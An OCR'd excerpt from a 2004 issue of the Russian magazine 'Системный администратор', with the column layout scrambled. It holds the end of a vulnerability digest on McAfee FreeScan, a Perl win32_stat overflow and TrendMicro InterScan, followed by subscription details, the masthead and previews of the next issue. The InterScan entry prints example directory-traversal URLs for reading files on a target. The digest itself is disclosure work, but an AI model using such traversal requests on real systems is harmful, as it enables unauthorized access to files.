зоваться для выполнения произвольного кода. Уязвимы
пользователи, которые предварительно запускали McAfee Переполнение буфера при обработке
FreeScan-службу. имени файла в Perl и ActivePerl
URL производителя: http://us.mcafee.com/root/mfs/ Программа: ActivePerl 5.x Perl 5.x.
default.asp?cid=9914 Опасность: Критическая.
Решение: Способов устранения обнаруженной уязвимо- Описание: Уязвимость обнаружена в Perl и ActivePerl. Зло-
сти не существует в настоящее время. намеренный пользователь может скомпрометировать уяз-
вимую систему.
Доступ к произвольным файлам Злонамеренный пользователь может представить
в TrendMicro InterScan чрезмерно большое имя файла с обратными слешами в
Программа: TrendMicro InterScan 3.5. конце, чтобы вызвать переполнение буфера в win32_stat()-
Опасность: Средняя. функции и выполнить произвольный код на уязвимой си-
Описание: Уязвимость обнаружена в TrendMicro InterScan стеме. Уязвимость может эксплуатироваться пользовате-
VirusWall. Удаленный пользователь может просматривать лями, способными передать специально сформированный
файлы, расположенные на целевой системе. Пример: путь к Perl-сценарию (например, через веб-сервер).
URL производителя: http://public.activestate.com.
http://[target]:8080/ishttpd/localweb/java/?/../../../ ↵ Решение: Установите соответствующие обновления:
ishttpd.exe
http://[target]:8080/ishttpd /localweb/java/?/../../../ ↵ 1. Perl 5.9.x development branch: http://public.activestate.com/
../../../../../autoexec.bat cgi-bin/perlbrowse?patch=22466
URL производителя: http://www.trendmicro.com. 2. Perl 5.8.x maintenance branch: http://public.activestate.com/
Решение: Способов устранения обнаруженной уязвимо- cgi-bin/perlbrowse?patch=22552
сти не существует в настоящее время.
Составил Александр Антипов

94
подписка на II полугодие 2004
Российская Федерация ! Узбекистан – по каталогу «Davriy nashrlar» российские
! Подписной индекс: 81655 издания через агентство по распространению печати
Каталог агентства «Роспечать» «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик,
! Подписной индекс: 87836 5/3, офис 33)
Объединенный каталог «Пресса России» ! Азербайджан – по объединенному каталогу российс-
Адресный каталог «Подписка за рабочим столом» ких изданий через предприятие по распространению
Адресный каталог «Библиотечный каталог» печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21)
! Альтернативные подписные агентства: ! Армения – по списку номенклатуры «АРЗИ» через
Агентство «Интер-Почта» (095) 500-00-60, курьерская ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Да-
доставка по Москве вида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван,
Агентство «Вся Пресса» (095) 787-34-47 ул.Сарьяна, 22)
Агентство «Курьер-Прессервис» ! Грузия – по списку номенклатуры «АРЗИ» через АО
! Подписка On-line «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская,
http://www.arzy.ru 29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахур-
http://www.gazety.ru дия, 42)
http://www.presscafe.ru ! Молдавия – по каталогу через ГП «Пошта Молдавей»
(МД-2012, г.Кишинев, бул.Штефан чел Маре, 134)
СНГ по списку через ГУП «Почта Приднестровья» (МD-3300,
В странах СНГ подписка принимается в почтовых отделе- г.Тирасполь, ул.Ленина, 17)
ниях по национальным каталогам или по списку номенк- по прайслисту через ООО Агентство «Editil Periodice»
латуры АРЗИ: (2012, г.Кишинев, бул. Штефан чел Маре, 134)
! Казахстан – по каталогу «Российская Пресса» через ! Подписка для Украины:
ОАО «Казпочта» и ЗАО «Евразия пресс» Киевский главпочтамп
! Беларусь – по каталогу изданий стран СНГ через РГО Подписное агентство «KSS»
«Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10) Телефон/факс (044)464-0220

Подписные
индексы:

81655
по каталогу
агентства
«Роспечать»

87836
по каталогу
агентства
«Пресса России»

№5(18), май 2004 95


СИСТЕМНЫЙ АДМИНИСТРАТОР
№5(18), Май, 2004 год

РЕДАКЦИЯ
ЧИТАЙТЕ
Исполнительный директор
Владимир Положевец
В СЛЕДУЮЩЕМ
Ответственный секретарь
Наталья Хвостова
sekretar@samag.ru
НОМЕРЕ:
Технический редактор
Владимир Лукин
Редактор VMWare со всеми Оптимизация работы PHP
Андрей Бешков удобствами при помощи PHPAccelerator
Научно-технические консультанты В данной статье будет рассказано, как В статье «Кэширование веб-сценари-
Валерий Цуканов добиться увеличения быстродействия ев» февральского номера журнала
Дмитрий Горяинов гостевых систем с помощью VMWare была затронута тема оптимизации сай-
Tools. Также будут освещены некото- тов. Рассмотренный способ является
РЕКЛАМНАЯ СЛУЖБА рые полезные возможности, суще- несколько трудоёмким. Одним из бо-
тел./факс: (095) 928-8253 ственно облегчающие взаимодействие лее эффективных решений является
Константин Меделян между гостевой и основной системой. PHPAccelerator. О нём, собственно, и
reсlama@samag.ru пойдет разговор в данной статье.
Специальные переменные
Верстка и оформление в Perl Эффективный почтовый
imposer@samag.ru Одним из достоинств языка Perl яв- сервер на базе MTA exim
maker_up@samag.ru ляется то, что он предоставляет про- В этой статье пойдет речь о создании
Дизайн обложки граммисту огромную свободу выбора эффективного почтового сервера на
Николай Петрочук как средств решения той или иной за- базе MTA exim. Первый вопрос, кото-
дачи, так и стиля программирования. рый, конечно же, приходит в голову: «А
103045, г. Москва, Порой конструкции, для создания ко- почему именно exim?». Отвечают на
Ананьевский переулок, дом 4/2 стр. 1 торых на Паскале требуется код в пол- этот вопрос по-разному, поэтому я ска-
тел./факс: (095) 928-8253 экрана, на Perl могут быть записаны жу, что меня так привлекает в exim:
Е-mail: info@samag.ru в одну-две строки и при этом полнос- ! логичная схема обработки почты;
Internet: www.samag.ru тью сохранить читабельность. И сре- ! высокая скорость работы;
ди средств, обеспечивающих такие ! удобный формат конфигурацион-
РУКОВОДИТЕЛЬ ПРОЕКТА возможности, особое место занима- ного файла;
Петр Положевец ют встроенные переменные, которые ! широчайшие возможности по по-
УЧРЕДИТЕЛИ и будут рассмотрены в данной статье. иску каких-либо значений в фай-
Владимир Положевец лах, СУБД, LDAP;
Александр Михалев Mutt как инструмент ! встроенная поддержка smtp-аутен-
администратора тификации;
ИЗДАТЕЛЬ Mutt – это функциональный почтовый ! небольшое число найденных уяз-
ЗАО «Издательский дом клиент с текстовым интерфейсом, ко- вимостей;
«Учительская газета» торый представляет собой классичес- ! очень большое количество воз-
кий MUA, не обладающий функциями можностей, а также чрезвычайная
Отпечатано типографией MTA и MDA. Это значит, что Mutt ра- гибкость;
ГП «Московская Типография №13» ботает с почтой, которая уже находит- ! возможность полной замены
Тираж 7000 экз. ся в почтовом ящике пользователя, sendmail.
предоставляя возможность удобно
Журнал зарегистрирован этой почтой оперировать (читать, от- На мой взгляд, exim является весь-
в Министерстве РФ по делам печати, вечать на сообщения и прочее). В то ма и весьма удачным продуктом, не
телерадиовещания и средств мас- же время он не может самостоятель- зря он используется по умолчанию в
совых коммуникаций (свидетельство но перемещать почту между машина- ОС Debian GNU Linux. Два больших
ПИ № 77-12542 от 24 апреля 2002г.) ми и доставлять почту. Большинство минуса exim состоят в том, что отсут-
известных нам почтовых клиентов ствует качественная документация на
За содержание статьи ответственность представляют собой некие «комбай- русском языке и возникает необходи-
несет автор. За содержание рекламно- ны», которые сочетают в себе функ- мость правки Makefile для включения
го обьявления ответственность несет ции MUA, MTA и MDA, к примеру, The тех или иных возможностей exim.
рекламодатель. Все права на опубли- Bat и Outlook, но на практике Mutt на- Итак, для начала подумаем, что дол-
кованные материалы защищены. Ре- много более гибок, позволяя выби- жна содержать «идеальная» с точки
дакция оставляет за собой право изме- рать те инструменты, к которым поль- зрения удобства администрирования и
нять содержание следующих номеров. зователь привык. использования почтовая система.

96

Вам также может понравиться